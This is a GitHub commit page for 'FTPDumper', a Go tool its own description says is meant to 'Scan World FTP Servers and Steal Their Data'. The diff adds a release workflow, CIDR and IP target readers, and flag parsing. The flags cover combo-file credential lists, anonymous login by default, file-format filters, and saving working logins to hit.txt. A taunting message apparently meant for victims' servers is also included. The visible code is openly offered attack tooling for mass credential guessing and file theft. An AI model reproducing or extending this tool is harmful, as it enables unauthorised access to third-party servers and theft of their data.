Skip to content

Commit

Permalink
πŸ— Update Almost Everything
Browse files Browse the repository at this point in the history
  • Loading branch information
Sno committed Apr 14, 2024
1 parent 441d1fb commit b1ff83f
Show file tree
Hide file tree
Showing 13 changed files with 696 additions and 229 deletions.
71 changes: 71 additions & 0 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
name: Build and Release

on:
push:
branches:
- master

jobs:
release:
name: Create Release
runs-on: ubuntu-latest

steps:
- name: Checkout repository
uses: actions/checkout@v4

- name: Auto Increment Semver Action
uses: MCKanpolat/auto-semver-action@v1
id: versioning
with:
releaseType: patch
incrementPerCommit: true
github_token: ${{ secrets.GITHUB_TOKEN }}

- name: Next Release Number
run: echo ${{ steps.versioning.outputs.version }}

- name: Create Release
id: create_release
uses: actions/create-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
tag_name: ${{ steps.versioning.outputs.version }}
release_name: Release ${{ steps.versioning.outputs.version }}
body: |
Automatically created release by GitHub Actions
draft: false
prerelease: false

outputs:
upload_url: ${{ steps.create_release.outputs.upload_url }}
version: ${{ steps.versioning.outputs.version }}


build:
name: Build and Upload
needs: release
runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version: '1.22.2'
check-latest: true

- name: Build
run: go build -o FTPDumper

- name: Upload binary file
uses: softprops/action-gh-release@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
files: FTPDumper


permissions:
contents: write
packages: write
5 changes: 5 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
FTPDumper
.idea
*.txt
*.exe
go.sum
9 changes: 8 additions & 1 deletion CIDRManager/Manager.go
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,10 @@ func (c *CIDRManager) GetRandomIP() (string, error) {
}

for {
ip := c.Ipv4Min + rand.Uint32()%(c.Ipv4Max-c.Ipv4Min+1)
// Generate a random number within the range of the CIDR size
randomIndex := rand.Intn(c.Size)
ip := c.Ipv4Min + uint32(randomIndex)

ipParsed := c.Uint32ToIP(ip)
if !c.IsUsed(ip) {
c.SetUsed(ip)
Expand All @@ -81,5 +84,9 @@ func (c *CIDRManager) IPToUInt32(ip string) uint32 {

func CountIPsInCIDR(ipNet *net.IPNet) int {
maskSize, _ := ipNet.Mask.Size()
if maskSize == 0 {
return 1 << 32 // 2^32 = 4,294,967,296
}

return 1 << (32 - maskSize)
}
165 changes: 165 additions & 0 deletions Core/core.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
package Core

import (
"FTPDumper/Utility"
"bytes"
"errors"
"fmt"
"github.com/integrii/flaggy"

Check failure on line 8 in Core/core.go

View workflow job for this annotation

GitHub Actions / Build and Upload

missing go.sum entry for module providing package github.com/integrii/flaggy (imported by FTPDumper/Core); to add:
"os"
"strings"
"time"
"unicode"
)

var (
Scanner = "stdin"
Users []string
Passwords []string
Ports []string
FileFormats []string
Limit = 10
SaveCredentials = false
Verbose = false
Timeout = time.Second * 5
CredFile *Utility.MutexWriter
OutputFolder = "files"
Type EscannerType
Counter = Utility.NewCounter()
DumperText = bytes.NewReader([]byte("Fix your server credentials\n" +
"You Can Download FTPDumper From https://github.com/MatrixTM/FTPDumper\n"))
)

var (
TimeoutErr = errors.New("timeout Error")
BadCredErr = errors.New("bad Credentials")
)

func init() {
Counter.Born("Total")
Counter.Born("BadCred")
Counter.Born("Success")
Counter.Born("Stolen")

flaggy.SetName("FTPDumper")
flaggy.SetDescription("Scan World FTP Servers and Steal Their Data")
flaggy.SetVersion("0.0.1")

flaggy.String(&Scanner, "scan", "scanner", "Ip/CIDR scanner (stdin|filename|cidr|ip)")

comboFile := ""
flaggy.String(&comboFile, "c", "combo", "Combo File (user:password)")

ports := ""
flaggy.String(&ports, "p", "ports", "Ports Split by , (Default Port: 21)")

flaggy.String(&OutputFolder, "o", "output", "Output Folder")

fileFormats := ""
flaggy.String(&fileFormats, "f", "formats", "File Formats Split by , (Default Format: all)")

flaggy.Int(&Limit, "l", "limit", "Task limit")

flaggy.Duration(&Timeout, "t", "timeout", "Timeout in seconds")

flaggy.Bool(&SaveCredentials, "s", "save", "Save Credentials in hit.txt")
flaggy.Bool(&Verbose, "v", "verbose", "Verbose Mode")

flaggy.Parse()

switch Scanner {
case "stdin":
if !Utility.IsInPipeline() {
fmt.Println("Please pipe input to the program, or use -s file/cidr")
os.Exit(1)
}
Type = ESTDIN

default:
if Utility.IsCIDRv4(Scanner) {
Type = ECIDR
} else if Utility.IsIPv4(Scanner) {
Type = EIP
} else if Utility.FileExists(Scanner) {
Type = EFILE
} else {
fmt.Println("Invalid Input, possible inputs: stdin, filename, cidr, ip")
os.Exit(1)
}
}

if Utility.FileExists(comboFile) {
combos, err := Utility.ReadFileLines(comboFile)
if err != nil {
fmt.Println(err)
os.Exit(1)
}

if len(combos) < 1 {
fmt.Println("Combo file is empty")
os.Exit(1)
}

for _, combo := range combos {
userPass := strings.Split(combo, ":")
if len(userPass) == 2 {
Users = append(Users, userPass[0])
Passwords = append(Passwords, userPass[1])
}
}
} else {
Users = []string{"anonymous"}
Passwords = []string{"anonymous"}
}

if len(Users) < 1 || len(Passwords) < 1 {
fmt.Println("Combo file Does not contain any credential with user:password format")
os.Exit(1)
}

if ports != "" {
portsSplited := strings.Split(ports, ",")
for _, port := range portsSplited {
for _, r := range port {
if !unicode.IsDigit(r) {
fmt.Printf("Invalid Port on -p Argument, Port: \"%s\"", port)
os.Exit(1)
}
}
Ports = append(Ports, port)
}
} else {
Ports = []string{"21"}
}

if fileFormats != "" {
fileFormatsSplited := strings.Split(fileFormats, ",")
FileFormats = fileFormatsSplited
}

if !Utility.FolderExists(OutputFolder) {
err := Utility.CreateFolder(OutputFolder)
if err != nil {
fmt.Printf("Failed to create output folder: %s\n", err)
os.Exit(1)
}
}

if SaveCredentials {
if !Utility.FileExists("hit.txt") {
err := Utility.CreateFile("hit.txt")
if err != nil {
fmt.Printf("Failed to create hit.txt: %s\n", err)
os.Exit(1)
}
}

file, err := os.OpenFile("hit.txt", os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
fmt.Printf("Failed to open hit.txt: %s\n", err)
os.Exit(1)
}

CredFile = Utility.NewMutexWriter(file)
}
}
48 changes: 26 additions & 22 deletions Core/reader.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ package Core
import "C"
import (
"FTPDumper/CIDRManager"
"FTPDumper/Utility"
"bufio"
"errors"
"io"
Expand Down Expand Up @@ -31,11 +32,6 @@ type StdinReader struct {
scanner *bufio.Scanner
}

type FileReader struct {
file *os.File
reader *bufio.Reader
}

type CIDRReader struct {
sync.Mutex
Cidrs []*CIDRManager.CIDRManager
Expand All @@ -48,7 +44,7 @@ func NewReader(scanner string, method EscannerType) IReader {
return &StdinReader{scanner: bufio.NewScanner(os.Stdin)}
case EFILE:
file, _ := os.Open(scanner)
return &FileReader{file: file, reader: bufio.NewReader(file)}
return NewFileReader(bufio.NewReader(file))
case ECIDR:
reader := &CIDRReader{
Cidrs: make([]*CIDRManager.CIDRManager, 0),
Expand All @@ -61,12 +57,35 @@ func NewReader(scanner string, method EscannerType) IReader {
reader.CidrsLen = len(reader.Cidrs)
return reader
case EIP:
return &StdinReader{scanner: bufio.NewScanner(strings.NewReader(scanner))}
return &StdinReader{scanner: bufio.NewScanner(strings.NewReader(scanner + "\n"))}
}

return nil
}

func NewFileReader(reader *bufio.Reader) *CIDRReader {
cidrs := make([]*CIDRManager.CIDRManager, 0)
for {
line, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
break
}
return nil
}

line = strings.TrimSpace(line)

if !Utility.IsCIDRv4(line) {
continue
}

cidrs = append(cidrs, CIDRManager.NewCIDR(line))
}

return &CIDRReader{Cidrs: cidrs, CidrsLen: len(cidrs)}
}

func (r *StdinReader) Next() (string, error) {
if r.scanner.Scan() {
return r.scanner.Text(), nil
Expand All @@ -81,21 +100,6 @@ func (r *StdinReader) Close() {
r.scanner = nil
}

func (r *FileReader) Next() (string, error) {
line, err := r.reader.ReadString('\n')
if err != nil {
if err == io.EOF {
return "", io.EOF
}
return "", err
}
return strings.TrimSpace(line), nil
}

func (r *FileReader) Close() {
r.file.Close()
}

func (c *CIDRReader) Next() (string, error) {
c.Lock()
defer c.Unlock()
Expand Down
Loading

0 comments on commit b1ff83f

Please sign in to comment.